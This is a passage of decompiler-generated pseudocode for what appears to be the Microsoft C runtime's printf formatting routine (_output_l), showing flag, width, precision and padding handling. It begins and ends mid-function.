												 *(__ebp - 0x2b0) = __eax;
												 *(__ebp - 0x2ac) = 0;
											} else {
												__eax = __ebp + 0x14;
												__eax = E00428400(__ebp + 0x14);
												asm("cdq");
												 *(__ebp - 0x2b0) = __eax;
												 *(__ebp - 0x2ac) = __edx;
											}
										} else {
											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
											__eflags =  *(__ebp - 0x10) & 0x00000040;
											if(( *(__ebp - 0x10) & 0x00000040) == 0) {
												__ecx = __ebp + 0x14;
												E00428400(__ebp + 0x14) = __ax & 0x0000ffff;
												asm("cdq");
												 *(__ebp - 0x2b0) = __ax & 0x0000ffff;
												 *(__ebp - 0x2ac) = __edx;
											} else {
												__eax = __ebp + 0x14;
												__eax = E00428400(__ebp + 0x14);
												__ax = __eax;
												asm("cdq");
												 *(__ebp - 0x2b0) = __eax;
												 *(__ebp - 0x2ac) = __edx;
											}
										}
									} else {
										__eax = __ebp + 0x14;
										 *(__ebp - 0x2b0) = E00428420(__ebp + 0x14);
										 *(__ebp - 0x2ac) = __edx;
									}
								} else {
									__ecx = __ebp + 0x14;
									 *(__ebp - 0x2b0) = E00428420(__ebp + 0x14);
									 *(__ebp - 0x2ac) = __edx;
								}
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
								__eflags =  *(__ebp - 0x10) & 0x00000040;
								if(( *(__ebp - 0x10) & 0x00000040) == 0) {
									goto L161;
								}
								L157:
								__eflags =  *(__ebp - 0x2ac);
								if(__eflags > 0) {
									goto L161;
								}
								L158:
								if(__eflags < 0) {
									L160:
									 *(__ebp - 0x2b0) =  ~( *(__ebp - 0x2b0));
									__edx =  *(__ebp - 0x2ac);
									asm("adc edx, 0x0");
									__edx =  ~( *(__ebp - 0x2ac));
									 *(__ebp - 0x2b8) =  ~( *(__ebp - 0x2b0));
									 *(__ebp - 0x2b4) =  ~( *(__ebp - 0x2ac));
									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
									L162:
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
									__eflags =  *(__ebp - 0x10) & 0x00008000;
									if(( *(__ebp - 0x10) & 0x00008000) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
										__eflags =  *(__ebp - 0x10) & 0x00001000;
										if(( *(__ebp - 0x10) & 0x00001000) == 0) {
											__edx =  *(__ebp - 0x2b8);
											__eax =  *(__ebp - 0x2b4);
											__eax =  *(__ebp - 0x2b4) & 0x00000000;
											__eflags = __eax;
											 *(__ebp - 0x2b4) = __eax;
										}
									}
									__eflags =  *(__ebp - 0x30);
									if( *(__ebp - 0x30) >= 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
										__eflags =  *(__ebp - 0x30) - 0x200;
										if( *(__ebp - 0x30) > 0x200) {
											 *(__ebp - 0x30) = 0x200;
										}
									} else {
										 *(__ebp - 0x30) = 1;
									}
									 *(__ebp - 0x2b8) =  *(__ebp - 0x2b8) |  *(__ebp - 0x2b4);
									__eflags =  *(__ebp - 0x2b8) |  *(__ebp - 0x2b4);
									if(( *(__ebp - 0x2b8) |  *(__ebp - 0x2b4)) == 0) {
										 *(__ebp - 0x1c) = 0;
									}
									__eax = __ebp - 0x49;
									 *(__ebp - 4) = __ebp - 0x49;
									while(1) {
										L172:
										__ecx =  *(__ebp - 0x30);
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										__eflags =  *(__ebp - 0x30);
										if( *(__ebp - 0x30) > 0) {
											goto L174;
										}
										L173:
										 *(__ebp - 0x2b8) =  *(__ebp - 0x2b8) |  *(__ebp - 0x2b4);
										__eflags =  *(__ebp - 0x2b8) |  *(__ebp - 0x2b4);
										if(( *(__ebp - 0x2b8) |  *(__ebp - 0x2b4)) == 0) {
											L177:
											__ebp - 0x49 = __ebp - 0x49 -  *(__ebp - 4);
											 *(__ebp - 0x24) = __ebp - 0x49 -  *(__ebp - 4);
											__ecx =  *(__ebp - 4);
											__ecx =  *(__ebp - 4) + 1;
											 *(__ebp - 4) = __ecx;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
											__eflags =  *(__ebp - 0x10) & 0x00000200;
											if(( *(__ebp - 0x10) & 0x00000200) == 0) {
												while(1) {
													L181:
													__eflags =  *(__ebp - 0x28);
													if( *(__ebp - 0x28) != 0) {
														goto L207;
													}
													L182:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
													__eflags =  *(__ebp - 0x10) & 0x00000040;
													if(( *(__ebp - 0x10) & 0x00000040) != 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000100;
														__eflags =  *(__ebp - 0x10) & 0x00000100;
														if(( *(__ebp - 0x10) & 0x00000100) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000001;
															__eflags =  *(__ebp - 0x10) & 0x00000001;
															if(( *(__ebp - 0x10) & 0x00000001) == 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000002;
																__eflags =  *(__ebp - 0x10) & 0x00000002;
																if(( *(__ebp - 0x10) & 0x00000002) != 0) {
																	 *(__ebp - 0x14) = 0x20;
																	 *(__ebp - 0x1c) = 1;
																}
															} else {
																 *(__ebp - 0x14) = 0x2b;
																 *(__ebp - 0x1c) = 1;
															}
														} else {
															 *(__ebp - 0x14) = 0x2d;
															 *(__ebp - 0x1c) = 1;
														}
													}
													 *(__ebp - 0x18) =  *(__ebp - 0x18) -  *(__ebp - 0x24);
													__eax =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
													 *(__ebp - 0x2bc) =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x0000000c;
													__eflags =  *(__ebp - 0x10) & 0x0000000c;
													if(( *(__ebp - 0x10) & 0x0000000c) == 0) {
														__edx = __ebp - 0x24c;
														__eax =  *(__ebp + 8);
														__ecx =  *(__ebp - 0x2bc);
														__eax = E004357C0(0x20,  *(__ebp - 0x2bc),  *(__ebp + 8), __ebp - 0x24c);
													}
													__edx = __ebp - 0x24c;
													__eax =  *(__ebp + 8);
													__ecx =  *(__ebp - 0x1c);
													__edx = __ebp - 0x14;
													E00435800( *(__ebp - 0x1c), __ebp - 0x14,  *(__ebp - 0x1c),  *(__ebp + 8), __ebp - 0x24c) =  *(__ebp - 0x10);
													__eax =  *(__ebp - 0x10) & 0x00000008;
													__eflags =  *(__ebp - 0x10) & 0x00000008;
													if(( *(__ebp - 0x10) & 0x00000008) != 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
														__eflags =  *(__ebp - 0x10) & 0x00000004;
														if(( *(__ebp - 0x10) & 0x00000004) == 0) {
															__edx = __ebp - 0x24c;
															__eax =  *(__ebp + 8);
															__ecx =  *(__ebp - 0x2bc);
															__eax = E004357C0(0x30,  *(__ebp - 0x2bc),  *(__ebp + 8), __ebp - 0x24c);
														}
													}
													__eflags =  *(__ebp - 0xc);
													if( *(__ebp - 0xc) == 0) {
														L203:
														__ecx = __ebp - 0x24c;
														__edx =  *(__ebp + 8);
														__eax =  *(__ebp - 0x24);
														__ecx =  *(__ebp - 4);
														__eax = E00435800(__ecx, __ecx,  *(__ebp - 0x24),  *(__ebp + 8), __ebp - 0x24c);
														goto L204;
													} else {
														L195:
														__eflags =  *(__ebp - 0x24);
														if( *(__ebp - 0x24) <= 0) {
															goto L203;
														}
														L196:
														 *(__ebp - 0x2d4) = 0;
														__edx =  *(__ebp - 4);
														 *(__ebp - 0x2c0) =  *(__ebp - 4);
														__eax =  *(__ebp - 0x24);
														 *(__ebp - 0x2c4) =  *(__ebp - 0x24);
														while(1) {
															L197:
															__ecx =  *(__ebp - 0x2c4);
															 *(__ebp - 0x2c4) =  *(__ebp - 0x2c4) - 1;
															 *(__ebp - 0x2c4) =  *(__ebp - 0x2c4) - 1;
															__eflags = __ecx;
															if(__ecx == 0) {
																break;
															}
															L198:
															__eax =  *(__ebp - 0x2c0);
															 *(__ebp - 0x316) =  *( *(__ebp - 0x2c0));
															__edx =  *(__ebp - 0x316) & 0x0000ffff;
															__eax = __ebp - 0x2d0;
															__ecx = __ebp - 0x2c8;
															 *(__ebp - 0x2d4) = E004342D0(__ebp - 0x2c8, __ebp - 0x2d0, 6,  *(__ebp - 0x316) & 0x0000ffff);
															 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) + 2;
															 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) + 2;
															__eflags =  *(__ebp - 0x2d4);
															if( *(__ebp - 0x2d4) != 0) {
																L200:
																 *(__ebp - 0x24c) = 0xffffffff;
																break;
															}
															L199:
															__eflags =  *(__ebp - 0x2c8);
															if( *(__ebp - 0x2c8) != 0) {
																L201:
																__eax = __ebp - 0x24c;
																__ecx =  *(__ebp + 8);
																__edx =  *(__ebp - 0x2c8);
																__ebp - 0x2d0 = E00435800( *(__ebp + 8), __ebp - 0x2d0,  *(__ebp - 0x2c8),  *(__ebp + 8), __ebp - 0x24c);
																continue;
															}
															goto L200;
														}
														L202:
														L204:
														__eflags =  *(__ebp - 0x24c);
														if( *(__ebp - 0x24c) >= 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
															__eflags =  *(__ebp - 0x10) & 0x00000004;
															if(( *(__ebp - 0x10) & 0x00000004) != 0) {
																__eax = __ebp - 0x24c;
																__ecx =  *(__ebp + 8);
																__edx =  *(__ebp - 0x2bc);
																__eax = E004357C0(0x20,  *(__ebp - 0x2bc),  *(__ebp + 8), __ebp - 0x24c);
															}
														}
													}
													L207:
													__eflags =  *(__ebp - 0x20);
													if( *(__ebp - 0x20) != 0) {
														 *(__ebp - 0x20) = L0041C5E0( *(__ebp - 0x20), 2);
														 *(__ebp - 0x20) = 0;
													}
													while(1) {
														L209:
														 *(_t524 - 0x251) =  *((intOrPtr*)( *((intOrPtr*)(_t524 + 0xc))));
														 *((intOrPtr*)(_t524 + 0xc)) =  *((intOrPtr*)(_t524 + 0xc)) + 1;
														if( *(_t524 - 0x251) == 0 ||  *(_t524 - 0x24c) < 0) {
															break;
														} else {
															if( *(_t524 - 0x251) < 0x20 ||  *(_t524 - 0x251) > 0x78) {
																 *(_t524 - 0x2fc) = 0;
															} else {
																 *(_t524 - 0x2fc) =  *( *(_t524 - 0x251) + 0x404460) & 0x0000000f;
															}
														}
														L7:
														 *(_t524 - 0x250) =  *(_t524 - 0x2fc);
														_t19 =  *(_t524 - 0x250) * 8; // 0x6000006
														 *(_t524 - 0x25c) =  *( *(_t524 - 0x25c) + _t19 + 0x404480) >> 4;
														 *(_t524 - 0x300) =  *(_t524 - 0x25c);
														if( *(_t524 - 0x300) > 7) {
															continue;
														}
														L8:
														switch( *((intOrPtr*)( *(_t524 - 0x300) * 4 +  &M004282F8))) {
															case 0:
																L9:
																 *(_t524 - 0xc) = 0;
																_t483 = E004312C0( *(_t524 - 0x251) & 0x000000ff, E0041AEF0(_t524 - 0x40));
																_t528 = _t526 + 8;
																if(_t483 == 0) {
																	L15:
																	E00435720( *(_t524 - 0x251) & 0x000000ff,  *(_t524 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t524 + 8)), _t524 - 0x24c);
																	_t526 = _t528 + 0xc;
																	goto L209;
																} else {
																	E00435720( *((intOrPtr*)(_t524 + 8)),  *(_t524 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t524 + 8)), _t524 - 0x24c);
																	_t528 = _t528 + 0xc;
																	_t509 =  *((intOrPtr*)( *((intOrPtr*)(_t524 + 0xc))));
																	 *(_t524 - 0x251) =  *((intOrPtr*)( *((intOrPtr*)(_t524 + 0xc))));
																	_t513 =  *((intOrPtr*)(_t524 + 0xc)) + 1;
																	 *((intOrPtr*)(_t524 + 0xc)) = _t513;
																	asm("sbb eax, eax");
																	 *(_t524 - 0x278) =  ~( ~( *(_t524 - 0x251)));
																	if(_t513 == 0) {
																		_push(L"(ch != _T(\'\\0\'))");
																		_push(0);
																		_push(0x486);
																		_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																		_push(2);
																		_t495 = L0041E420();
																		_t528 = _t528 + 0x14;
																		if(_t495 == 1) {
																			asm("int3");
																		}
																	}
																	L13:
																	if( *(_t524 - 0x278) != 0) {
																		goto L15;
																	} else {
																		 *((intOrPtr*)(L00422F10(_t509))) = 0x16;
																		E00422CA0(_t497, _t509, _t522, _t523, L"(ch != _T(\'\\0\'))", L"_output_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
																		 *(_t524 - 0x2e4) = 0xffffffff;
																		E0041AEC0(_t524 - 0x40);
																		_t478 =  *(_t524 - 0x2e4);
																		goto L211;
																	}
																}
															case 1:
																L16:
																 *(__ebp - 0x2c) = 0;
																__edx =  *(__ebp - 0x2c);
																 *(__ebp - 0x28) =  *(__ebp - 0x2c);
																__eax =  *(__ebp - 0x28);
																 *(__ebp - 0x18) =  *(__ebp - 0x28);
																__ecx =  *(__ebp - 0x18);
																 *(__ebp - 0x1c) = __ecx;
																 *(__ebp - 0x10) = 0;
																 *(__ebp - 0x30) = 0xffffffff;
																 *(__ebp - 0xc) = 0;
																goto L209;
															case 2:
																L17:
																__edx =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x304) =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x304) =  *(__ebp - 0x304) - 0x20;
																 *(__ebp - 0x304) =  *(__ebp - 0x304) - 0x20;
																__eflags =  *(__ebp - 0x304) - 0x10;
																if( *(__ebp - 0x304) > 0x10) {
																	goto L24;
																}
																L18:
																__ecx =  *(__ebp - 0x304);
																_t63 = __ecx + 0x428330; // 0x498d04
																__edx =  *_t63 & 0x000000ff;
																switch( *((intOrPtr*)(( *_t63 & 0x000000ff) * 4 +  &M00428318))) {
																	case 0:
																		goto L21;
																	case 1:
																		goto L22;
																	case 2:
																		goto L20;
																	case 3:
																		goto L19;
																	case 4:
																		goto L23;
																	case 5:
																		goto L24;
																}
															case 3:
																L25:
																__edx =  *((char*)(__ebp - 0x251));
																__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
																if( *((char*)(__ebp - 0x251)) != 0x2a) {
																	__eax =  *(__ebp - 0x18);
																	__eax =  *(__ebp - 0x18) * 0xa;
																	__eflags = __eax;
																	__ecx =  *((char*)(__ebp - 0x251));
																	_t87 = __ecx - 0x30; // -48
																	__edx = __eax + _t87;
																	 *(__ebp - 0x18) = __eax + _t87;
																} else {
																	__eax = __ebp + 0x14;
																	 *(__ebp - 0x18) = E00428400(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x18);
																	if( *(__ebp - 0x18) < 0) {
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00000004;
																		__eflags = __ecx;
																		 *(__ebp - 0x10) = __ecx;
																		 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																		 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																	}
																}
																L30:
																goto L209;
															case 4:
																L31:
																 *(__ebp - 0x30) = 0;
																goto L209;
															case 5:
																L32:
																__eax =  *((char*)(__ebp - 0x251));
																__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
																if( *((char*)(__ebp - 0x251)) != 0x2a) {
																	__edx =  *(__ebp - 0x30);
																	__edx =  *(__ebp - 0x30) * 0xa;
																	__eflags = __edx;
																	_t98 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
																	__ecx = __edx + _t98;
																	 *(__ebp - 0x30) = __ecx;
																} else {
																	__ecx = __ebp + 0x14;
																	 *(__ebp - 0x30) = E00428400(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x30);
																	if( *(__ebp - 0x30) < 0) {
																		 *(__ebp - 0x30) = 0xffffffff;
																	}
																}
																goto L209;
															case 6:
																L38:
																__edx =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x308) =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x308) =  *(__ebp - 0x308) - 0x49;
																 *(__ebp - 0x308) =  *(__ebp - 0x308) - 0x49;
																__eflags =  *(__ebp - 0x308) - 0x2e;
																if( *(__ebp - 0x308) > 0x2e) {
																	L61:
																	goto L209;
																}
																L39:
																__ecx =  *(__ebp - 0x308);
																_t106 = __ecx + 0x428358; // 0x7c0f9003
																__edx =  *_t106 & 0x000000ff;
																switch( *((intOrPtr*)(( *_t106 & 0x000000ff) * 4 +  &M00428344))) {
																	case 0:
																		L44:
																		__edx =  *(__ebp + 0xc);
																		__eax =  *( *(__ebp + 0xc));
																		__eflags =  *( *(__ebp + 0xc)) - 0x36;
																		if( *( *(__ebp + 0xc)) != 0x36) {
																			L47:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc));
																			__eflags =  *( *(__ebp + 0xc)) - 0x33;
																			if( *( *(__ebp + 0xc)) != 0x33) {
																				L50:
																				__edx =  *(__ebp + 0xc);
																				__eax =  *( *(__ebp + 0xc));
																				__eflags =  *( *(__ebp + 0xc)) - 0x64;
																				if( *( *(__ebp + 0xc)) == 0x64) {
																					L56:
																					L58:
																					goto L61;
																				}
																				L51:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *__ecx;
																				__eflags =  *__ecx - 0x69;
																				if( *__ecx == 0x69) {
																					goto L56;
																				}
																				L52:
																				__eax =  *(__ebp + 0xc);
																				__ecx =  *( *(__ebp + 0xc));
																				__eflags = __ecx - 0x6f;
																				if(__ecx == 0x6f) {
																					goto L56;
																				}
																				L53:
																				__edx =  *(__ebp + 0xc);
																				__eax =  *( *(__ebp + 0xc));
																				__eflags =  *( *(__ebp + 0xc)) - 0x75;
																				if( *( *(__ebp + 0xc)) == 0x75) {
																					goto L56;
																				}
																				L54:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *__ecx;
																				__eflags =  *__ecx - 0x78;
																				if( *__ecx == 0x78) {
																					goto L56;
																				}
																				L55:
																				__eax =  *(__ebp + 0xc);
																				__ecx =  *( *(__ebp + 0xc));
																				__eflags = __ecx - 0x58;
																				if(__ecx != 0x58) {
																					 *(__ebp - 0x25c) = 0;
																					goto L9;
																				}
																				goto L56;
																			}
																			L48:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *((char*)(__ecx + 1));
																			__eflags =  *((char*)(__ecx + 1)) - 0x32;
																			if( *((char*)(__ecx + 1)) != 0x32) {
																				goto L50;
																			} else {
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) & 0xffff7fff;
																				 *(__ebp - 0x10) = __ecx;
																				goto L58;
																			}
																		}
																		L45:
																		__ecx =  *(__ebp + 0xc);
																		__edx =  *((char*)(__ecx + 1));
																		__eflags =  *((char*)(__ecx + 1)) - 0x34;
																		if( *((char*)(__ecx + 1)) != 0x34) {
																			goto L47;
																		} else {
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00008000;
																			 *(__ebp - 0x10) = __ecx;
																			goto L58;
																		}
																	case 1:
																		L59:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																		goto L61;
																	case 2:
																		L40:
																		__eax =  *(__ebp + 0xc);
																		__ecx =  *( *(__ebp + 0xc));
																		__eflags = __ecx - 0x6c;
																		if(__ecx != 0x6c) {
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00000010;
																			__eflags = __ecx;
																			 *(__ebp - 0x10) = __ecx;
																		} else {
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																		}
																		goto L61;
																	case 3:
																		L60:
																		__eax =  *(__ebp - 0x10);
																		__eax =  *(__ebp - 0x10) | 0x00000800;
																		__eflags = __eax;
																		 *(__ebp - 0x10) = __eax;
																		goto L61;
																	case 4:
																		goto L61;
																}
															case 7:
																L62:
																__ecx =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x30c) = __ecx;
																 *(__ebp - 0x30c) =  *(__ebp - 0x30c) - 0x41;
																 *(__ebp - 0x30c) =  *(__ebp - 0x30c) - 0x41;
																__eflags =  *(__ebp - 0x30c) - 0x37;
																if( *(__ebp - 0x30c) > 0x37) {
																	while(1) {
																		L181:
																		__eflags =  *(__ebp - 0x28);
																		if( *(__ebp - 0x28) != 0) {
																			goto L207;
																		}
																		goto L182;
																	}
																}
																L63:
																_t147 =  *(__ebp - 0x30c) + 0x4283c4; // 0xcccccc0d
																__ecx =  *_t147 & 0x000000ff;
																switch( *((intOrPtr*)(__ecx * 4 +  &M00428388))) {
																	case 0:
																		L114:
																		 *(__ebp - 0x2c) = 1;
																		__ecx =  *((char*)(__ebp - 0x251));
																		__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
																		__eflags = __ecx;
																		 *((char*)(__ebp - 0x251)) = __cl;
																		goto L115;
																	case 1:
																		L64:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																		__eflags =  *(__ebp - 0x10) & 0x00000830;
																		if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																			__eax =  *(__ebp - 0x10);
																			__eax =  *(__ebp - 0x10) | 0x00000800;
																			__eflags = __eax;
																			 *(__ebp - 0x10) = __eax;
																		}
																		goto L66;
																	case 2:
																		L79:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																		__eflags =  *(__ebp - 0x10) & 0x00000830;
																		if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00000800;
																			__eflags = __ecx;
																			 *(__ebp - 0x10) = __ecx;
																		}
																		goto L81;
																	case 3:
																		L137:
																		 *(__ebp - 0x260) = 7;
																		goto L139;
																	case 4:
																		L72:
																		__eax = __ebp + 0x14;
																		 *(__ebp - 0x284) = E00428400(__ebp + 0x14);
																		__eflags =  *(__ebp - 0x284);
																		if( *(__ebp - 0x284) == 0) {
																			L74:
																			__edx =  *0x440f80; // 0x404478
																			 *(__ebp - 4) = __edx;
																			__eax =  *(__ebp - 4);
																			 *(__ebp - 0x24) = E0041DEC0( *(__ebp - 4));
																			L78:
																			goto L181;
																		}
																		L73:
																		__ecx =  *(__ebp - 0x284);
																		__eflags =  *(__ecx + 4);
																		if( *(__ecx + 4) != 0) {
																			L75:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																			__eflags =  *(__ebp - 0x10) & 0x00000800;
																			if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																				 *(__ebp - 0xc) = 0;
																				__edx =  *(__ebp - 0x284);
																				__eax =  *(__edx + 4);
																				 *(__ebp - 4) =  *(__edx + 4);
																				__ecx =  *(__ebp - 0x284);
																				__edx =  *__ecx;
																				 *(__ebp - 0x24) =  *__ecx;
																			} else {
																				__edx =  *(__ebp - 0x284);
																				__eax =  *(__edx + 4);
																				 *(__ebp - 4) =  *(__edx + 4);
																				__ecx =  *(__ebp - 0x284);
																				__eax =  *__ecx;
																				asm("cdq");
																				 *__ecx - __edx =  *__ecx - __edx >> 1;
																				 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																				 *(__ebp - 0xc) = 1;
																			}
																			goto L78;
																		}
																		goto L74;
																	case 5:
																		L115:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		__eax = __ebp - 0x248;
																		 *(__ebp - 4) = __ebp - 0x248;
																		 *(__ebp - 0x44) = 0x200;
																		__eflags =  *(__ebp - 0x30);
																		if( *(__ebp - 0x30) >= 0) {
																			L117:
																			__eflags =  *(__ebp - 0x30);
																			if( *(__ebp - 0x30) != 0) {
																				L120:
																				__eflags =  *(__ebp - 0x30) - 0x200;
																				if( *(__ebp - 0x30) > 0x200) {
																					 *(__ebp - 0x30) = 0x200;
																				}
																				L122:
																				__eflags =  *(__ebp - 0x30) - 0xa3;
																				if( *(__ebp - 0x30) > 0xa3) {
																					 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																					 *(__ebp - 0x20) = L0041B960(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																					__eflags =  *(__ebp - 0x20);
																					if( *(__ebp - 0x20) == 0) {
																						 *(__ebp - 0x30) = 0xa3;
																					} else {
																						__eax =  *(__ebp - 0x20);
																						 *(__ebp - 4) =  *(__ebp - 0x20);
																						 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																					}
																				}
																				 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																				 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																				__eax =  *(__ebp + 0x14);
																				_t274 = __eax - 8; // 0xe852f855
																				__ecx =  *_t274;
																				_t275 = __eax - 4; // 0xbc20
																				__edx =  *_t275;
																				 *(__ebp - 0x2a0) =  *_t274;
																				 *(__ebp - 0x29c) =  *_t275;
																				__ecx = __ebp - 0x40;
																				_push(E0041AEF0(__ebp - 0x40));
																				__eax =  *(__ebp - 0x2c);
																				_push( *(__ebp - 0x2c));
																				__ecx =  *(__ebp - 0x30);
																				_push( *(__ebp - 0x30));
																				__edx =  *((char*)(__ebp - 0x251));
																				_push( *((char*)(__ebp - 0x251)));
																				__eax =  *(__ebp - 0x44);
																				_push( *(__ebp - 0x44));
																				__ecx =  *(__ebp - 4);
																				_push( *(__ebp - 4));
																				__edx = __ebp - 0x2a0;
																				_push(__ebp - 0x2a0);
																				__eax =  *0x440374; // 0xd5b65caa
																				__eax =  *__eax();
																				__esp = __esp + 0x1c;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																				__eflags =  *(__ebp - 0x10) & 0x00000080;
																				if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																					__eflags =  *(__ebp - 0x30);
																					if( *(__ebp - 0x30) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E0041AEF0(__ebp - 0x40));
																						__edx =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__eax =  *0x440380; // 0xd44284aa
																						__eax =  *__eax();
																						__esp = __esp + 8;
																					}
																				}
																				__ecx =  *((char*)(__ebp - 0x251));
																				__eflags =  *((char*)(__ebp - 0x251)) - 0x67;
																				if( *((char*)(__ebp - 0x251)) == 0x67) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					__eflags =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E0041AEF0(__ebp - 0x40));
																						__eax =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__ecx =  *0x44037c; // 0xd44114aa
																						E00424760(__ecx) =  *__eax();
																						__esp = __esp + 8;
																					}
																				}
																				__edx =  *(__ebp - 4);
																				__eax =  *( *(__ebp - 4));
																				__eflags =  *( *(__ebp - 4)) - 0x2d;
																				if( *( *(__ebp - 4)) == 0x2d) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																					__edx =  *(__ebp - 4);
																					__edx =  *(__ebp - 4) + 1;
																					__eflags = __edx;
																					 *(__ebp - 4) = __edx;
																				}
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E0041DEC0( *(__ebp - 4));
																				do {
																					L181:
																					__eflags =  *(__ebp - 0x28);
																					if( *(__ebp - 0x28) != 0) {
																						goto L207;
																					}
																					goto L182;
																				} while ( *(__ebp - 0x30c) > 0x37);
																				goto L63;
																			}
																			L118:
																			__ecx =  *((char*)(__ebp - 0x251));
																			__eflags = __ecx - 0x67;
																			if(__ecx != 0x67) {
																				goto L120;
																			}
																			L119:
																			 *(__ebp - 0x30) = 1;
																			goto L122;
																		}
																		L116:
																		 *(__ebp - 0x30) = 6;
																		goto L122;
																	case 6:
																		L66:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																		__eflags =  *(__ebp - 0x10) & 0x00000810;
																		if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																			L70:
																			__ebp + 0x14 = E00428400(__ebp + 0x14);
																			 *(__ebp - 0x280) = __ax;
																			__cl =  *(__ebp - 0x280);
																			 *(__ebp - 0x248) = __cl;
																			 *(__ebp - 0x24) = 1;
																			L71:
																			__edx = __ebp - 0x248;
																			 *(__ebp - 4) = __ebp - 0x248;
																			while(1) {
																				L181:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L207;
																				}
																				goto L182;
																			}
																		}
																		L67:
																		 *(__ebp - 0x27c) = 0;
																		__edx = __ebp + 0x14;
